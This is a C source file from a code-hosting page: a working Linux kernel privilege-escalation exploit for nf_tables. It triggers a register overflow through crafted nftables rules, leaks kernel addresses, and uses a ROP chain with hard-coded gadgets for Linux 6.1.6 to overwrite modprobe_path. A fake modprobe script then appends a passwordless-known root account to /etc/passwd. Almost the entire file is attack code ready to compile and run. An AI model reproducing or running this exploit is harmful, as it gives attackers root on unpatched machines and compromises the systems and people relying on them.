-
Notifications
You must be signed in to change notification settings - Fork 34
/
Copy pathexploit.c
357 lines (305 loc) · 13.4 KB
/
exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
#define _GNU_SOURCE
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdint.h>
#include <sys/types.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nfnetlink.h>
#include <libmnl/libmnl.h>
#include <libnftnl/table.h>
#include <libnftnl/chain.h>
#include <libnftnl/rule.h>
#include <libnftnl/set.h>
#include <libnftnl/expr.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "exploit.h"
#include "helpers.h"
void split_struct(struct jumpstack_t s, char dest[][4])
{
char* p = (char*) &s;
int i;
for (i = 0; i < sizeof(s); i += 4) {
unsigned int x = *(unsigned int*) (p + i);
memcpy(dest[i/4], &x, 4);
}
}
struct jumpstack_t fill_jumpstack(unsigned long regs, unsigned long kaslr)
{
struct jumpstack_t jumpstack = {0};
jumpstack.init = 'A';
jumpstack.rule = regs + 0xf0;
jumpstack.last_rule = 0xffffffffffffffff;
jumpstack.expr = regs + 0x100;
jumpstack.pivot = 0xffffffff810280ae + kaslr;
unsigned char pad[31] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
strcpy(jumpstack.pad, pad);
return jumpstack;
}
void get_4_bytes(unsigned long address, char* lsb, char* msb)
{
uint32_t address_32 = (uint32_t)(address >> 32);
for (int i = 0; i < 4; i++) {
lsb[i] = (address >> (i * 8)) & 0xff;
msb[i] = (address_32 >> (i * 8)) & 0xff;
}
}
int privesc()
{
puts("[+] Returned to userland, setting up for fake modprobe");
// Password is just "needle"
system("echo '#!/bin/sh\necho needle:M6Jplzqa7rJp.:0:0:root:/root:/bin/sh >> /etc/passwd' > /tmp/windprobe");
system("chmod +x /tmp/windprobe");
int fd = open("/tmp/dummy", O_RDWR | O_CREAT);
if (fd < 0) {
perror("[-] Trigger creation failed");
return -1;
}
char sig[] = "\xff\xff\xff\xff";
write(fd, sig, sizeof(sig));
close(fd);
chmod("/tmp/dummy", 0777);
execl("/tmp/dummy", "/tmp/dummy", (char *)NULL);
return 0;
}
int create_final_chain_rule(struct mnl_socket* nl, char* table_name, char* chain_name, uint16_t family, uint64_t* handle, int* seq, uint8_t offset, uint8_t len, unsigned long regs, unsigned long instr)
{
struct nftnl_rule* r = build_rule(table_name, chain_name, family, handle);
/*
For same-CPU runs, ®s won't change
*/
// unsigned long reg0 = regs + 0x10; // e.g. 0xffffc90000003af0; 0xffffc900000e0af0;
unsigned long kaslr = instr - INSTR_BASE; // change the instruction base address accordingly
unsigned char lsb[4] = {};
unsigned char msb[4] = {};
struct jumpstack_t jumpstack = fill_jumpstack(regs, kaslr);
char dest[16][4];
split_struct(jumpstack, dest);
/*
1. Prepare the jumpstack layout, saving space in the registers
&jumpstack[8].chain = 0xffffc90000003bf0 = reg0 + 0x100
the first field is the rule pointing 8 bytes before the expression address
the last field is the first gadget, a stack pivot to reg32_00
unsigned char *jumpstack[] = {"A\xe8\x3b\x00", "\x00\x00\xc9\xff", "\xff\xff\xff\xff", "\xff\xff\xff\xff", "\xff\xf8\x3b\x00", "\x00\x00\xc9\xff", "\xff\x71\x45\x13", "\x81\xff\xff\xff", "\xff\x41\x41\x41",
"AAAA", "AAAA", "AAAA", "AAAA", "AAAA","AAAA", "AAAA"};
unsigned char *jumpstack[] = {"A\xe8\x0b\x0e", "\x00\x00\xc9\xff", "\xff\xff\xff\xff", "\xff\xff\xff\xff", "\xff\xf8\x0b\x0e", "\x00\x00\xc9\xff", "\xff\x71\x45\x13", "\x81\xff\xff\xff", "\xff\x41\x41\x41",
"AAAA", "AAAA", "AAAA", "AAAA", "AAAA","AAAA", "AAAA"};
*/
for (int reg = NFT_REG32_00; reg <= NFT_REG32_15; reg++) {
rule_add_immediate_data(r, reg, (void *) dest[reg - NFT_REG32_00], 4);
}
/*
2. Trigger overflow, overwriting the jumpstack
*/
rule_add_payload(r, NFT_PAYLOAD_LL_HEADER, offset, len, NFT_REG32_15);
/*
3. ROP chain setup for Linux 6.1.6 with given .config, change accordingly
Gadgets:
0xffffffff810280ae: add rsp, 0x48 ; pop rbp ; pop r12 ; pop r13 ; ret -> stack pivot, pops 0x60 bytes including rbp to reach REG32_00
0xffffffff8146bf20: pop rax; ret -> save new modprobe path
0xffffffff8145cf29: pop rdi; ret -> save modprobe_path address
0xffffffff81c9f50f: mov [rdi] rax ; ret -> overwrite modprobe_path
0xffffffff81d47331: pop rbp ; ret -> restore rbp
0xffffffff815ab506: mov rsp, rbp ; pop rbp ; ret -> leave nft_do_chain
Static values:
0xffffffff81c2cfa1: instruction from TEXT returned by leak
0xffffffff82851520: modprobe_path
0x6e69772f706d742f: /tmp/windprobe
regs + 0x200: old rbp for nft_do_chain_netdev
*/
unsigned long pop_rax_ret = 0xffffffff8146bf20 + kaslr;
unsigned long local_path = TMP_WINDPROBE;
unsigned long pop_rdi_ret = 0xffffffff8145cf29 + kaslr;
unsigned long modprobe = 0xffffffff82851520 + kaslr;
unsigned long mov_rdi_rax_ret = 0xffffffff81c9f50f + kaslr;
unsigned long pop_rbp_ret = 0xffffffff81d47331 + kaslr;
unsigned long old_rbp = regs + 0x200;
unsigned long nft_hook_slow_ret = 0xffffffff815ab506 + kaslr;
get_4_bytes(pop_rax_ret, lsb, msb);
rule_add_immediate_data(r, NFT_REG32_00, (void *) lsb, 4);
rule_add_immediate_data(r, NFT_REG32_01, (void *) msb, 4);
get_4_bytes(local_path, lsb, msb);
rule_add_immediate_data(r, NFT_REG32_02, (void *) lsb, 4);
rule_add_immediate_data(r, NFT_REG32_03, (void *) msb, 4);
get_4_bytes(pop_rdi_ret, lsb, msb);
rule_add_immediate_data(r, NFT_REG32_04, (void *) lsb, 4);
rule_add_immediate_data(r, NFT_REG32_05, (void *) msb, 4);
get_4_bytes(modprobe, lsb, msb);
rule_add_immediate_data(r, NFT_REG32_06, (void *) lsb, 4);
rule_add_immediate_data(r, NFT_REG32_07, (void *) msb, 4);
get_4_bytes(mov_rdi_rax_ret, lsb, msb);
rule_add_immediate_data(r, NFT_REG32_08, (void *) lsb, 4);
rule_add_immediate_data(r, NFT_REG32_09, (void *) msb, 4);
get_4_bytes(pop_rbp_ret, lsb, msb);
rule_add_immediate_data(r, NFT_REG32_10, (void *) lsb, 4);
rule_add_immediate_data(r, NFT_REG32_11, (void *) msb, 4);
get_4_bytes(old_rbp, lsb, msb);
rule_add_immediate_data(r, NFT_REG32_12, (void *) lsb, 4);
rule_add_immediate_data(r, NFT_REG32_13, (void *) msb, 4);
get_4_bytes(nft_hook_slow_ret, lsb, msb);
rule_add_immediate_data(r, NFT_REG32_14, (void *) lsb, 4);
rule_add_immediate_data(r, NFT_REG32_15, (void *) msb, 4);
// 3. Break from the regs verdict switch, going back to the corrupted previous chain
rule_add_immediate_verdict(r, NFT_CONTINUE, "final_chain");
return send_batch_request(
nl,
NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
NLM_F_CREATE, family, (void**)&r, seq,
NULL
);
}
int create_jmp_chain_rule(struct mnl_socket* nl, char* table_name, char* chain_name, uint16_t family, uint64_t* handle, int* seq)
{
struct nftnl_rule* r = build_rule(table_name, chain_name, family, handle);
int i = atoi(chain_name);
i++;
char next_chain[5];
sprintf(next_chain, "%d", i);
if (i == 6) {
// stackptr has been aligned, jump to the overflow chain
rule_add_immediate_verdict(r, NFT_JUMP, "final_chain");
} else {
// Jump to the next jmp chain, incrementing stackptr
rule_add_immediate_verdict(r, NFT_JUMP, next_chain);
}
return send_batch_request(
nl,
NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
NLM_F_CREATE, family, (void**)&r, seq,
NULL
);
}
int create_base_chain_rule_pwn(struct mnl_socket* nl, char* table_name, char* chain_name, uint16_t family, uint64_t* handle, int* seq)
{
struct nftnl_rule* r = build_rule(table_name, chain_name, family, handle);
rule_add_immediate_verdict(r, NFT_JUMP, "0");
return send_batch_request(
nl,
NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
NLM_F_CREATE, family, (void**)&r, seq,
NULL
);
}
int create_base_chain_rule_leak(struct mnl_socket* nl, char* table_name, char* chain_name, uint16_t family, uint64_t* handle, int* seq)
{
struct nftnl_rule* r = build_rule(table_name, chain_name, family, handle);
/*
UDP filtering is not always possible since the datagram might not be delivered as we only receive broadcasts.
Still, this is where you can implement your own filtering logic
in_addr_t d_addr;
d_addr = inet_addr("192.168.123.123");
rule_add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, offsetof(struct iphdr, daddr), sizeof(d_addr), 8);
rule_add_cmp(r, NFT_CMP_EQ, 8, &d_addr, sizeof d_addr);
*/
rule_add_immediate_verdict(r, NFT_GOTO, "exploit_chain");
return send_batch_request(
nl,
NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
NLM_F_CREATE, family, (void**)&r, seq,
NULL
);
}
int create_exploit_chain_rule_leak(struct mnl_socket* nl, char* table_name, char* chain_name, uint16_t family, uint64_t* handle, int* seq, uint8_t offset, uint8_t len)
{
struct nftnl_rule* r = build_rule(table_name, chain_name, family, handle);
// 1. Register grooming to check whether they have been overwritten
char *keys[8];
char *values[8];
for (int i = 0; i < 8; i++) {
keys[i] = "\xff\xff\xff\xff";
values[i] = "\xff\xff\xff\xff";
}
for (unsigned int keyreg = NFT_REG32_00; keyreg <= NFT_REG32_07; keyreg++) {
rule_add_immediate_data(r, keyreg, (void *) keys[keyreg - NFT_REG32_00], 4);
}
for (unsigned int datareg = NFT_REG32_09; datareg <= NFT_REG32_15; datareg++) {
rule_add_immediate_data(r, datareg, (void *) values[datareg - NFT_REG32_09], 4);
}
// 2. Trigger overflow and overwrite registers
rule_add_payload(r, NFT_PAYLOAD_LL_HEADER, offset, len, NFT_REG32_00);
/*
3. Copy useful registers to set
Other Linux kernels may leak addresses inside different registers, you should try them all in that case
for (int keyreg = NFT_REG32_00, datareg = NFT_REG32_08; keyreg <= NFT_REG32_07, datareg <= NFT_REG32_15; datareg++, keyreg++) {
rule_add_dynset(r, "myset12", keyreg, datareg);
}
*/
rule_add_dynset(r, "myset12", NFT_REG32_10, NFT_REG32_11);
rule_add_dynset(r, "myset12", NFT_REG32_14, NFT_REG32_15);
return send_batch_request(
nl,
NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
NLM_F_CREATE, family, (void**)&r, seq,
NULL
);
}
int pwn(struct mnl_socket* nl, unsigned long regs, unsigned long instr)
{
char *table_name = "exploit_table",
*base_chain_name = "base_chain",
*final_chain_name = "final_chain",
*dev_name = "eth0";
int seq = time(NULL);
if (create_table(nl, table_name, NFPROTO_NETDEV, &seq, NULL) == -1) {
perror("[-] Failed creating table");
exit(EXIT_FAILURE);
}
printf("[+] Created nft %s\n", table_name);
struct unft_base_chain_param bp;
bp.hook_num = NF_INET_PRE_ROUTING;
bp.prio = 10;
if (create_chain(nl, table_name, base_chain_name, dev_name, NFPROTO_NETDEV, &bp, &seq, NULL)) {
perror("[-] Failed creating base chain");
exit(EXIT_FAILURE);
}
printf("[+] Created base chain %s\n", base_chain_name);
if (create_chain(nl, table_name, final_chain_name, dev_name, NFPROTO_NETDEV, NULL, &seq, NULL)) {
perror("[-] Failed creating final chain");
exit(EXIT_FAILURE);
}
printf("[+] Created final chain %s\n", final_chain_name);
char jmp_chain_name[5];
for (int i = 0; i < 6; i++) {
sprintf(jmp_chain_name, "%d", i);
if (create_chain(nl, table_name, jmp_chain_name, dev_name, NFPROTO_NETDEV, NULL, &seq, NULL)) {
perror("[-] Failed creating jmp chain");
exit(EXIT_FAILURE);
}
printf("[+] Created jmp chain %s\n", jmp_chain_name);
}
if (create_base_chain_rule_pwn(nl, table_name, base_chain_name, NFPROTO_NETDEV, NULL, &seq)) {
perror("[-] Failed creating base chain rule");
exit(EXIT_FAILURE);
}
puts("[+] Successfully created base_chain rule!");
for (int i = 0; i < 6; i++) {
sprintf(jmp_chain_name, "%d", i);
if (create_jmp_chain_rule(nl, table_name, jmp_chain_name, NFPROTO_NETDEV, NULL, &seq)) {
perror("[-] Failed creating jmp chain rule");
exit(EXIT_FAILURE);
}
puts("[+] Successfully created jmp chain rule!");
}
uint8_t offset = 19, len = 4, vlan_hlen = 4;
uint8_t ethlen = len - offset + len - VLAN_ETH_HLEN + vlan_hlen;
if (create_final_chain_rule(nl, table_name, final_chain_name, NFPROTO_NETDEV, NULL, &seq, offset, len, regs, instr)) {
perror("[-] Failed creating final chain rule");
return EXIT_FAILURE;
}
printf("[+] offset: %hhu & len: %hhu & ethlen = %hhu\n", offset, len, ethlen);
puts("[+] Successfully created exploit chain rule!");
if (send_packet() == 0) {
// Please do not interrupt
system("nft delete table netdev exploit_table");
puts("[+] Exploit triggered");
if (privesc() == 0) {
puts("[+] Got root, you can now login as \"needle:needle\"");
return EXIT_SUCCESS;
}
}
return EXIT_FAILURE;
}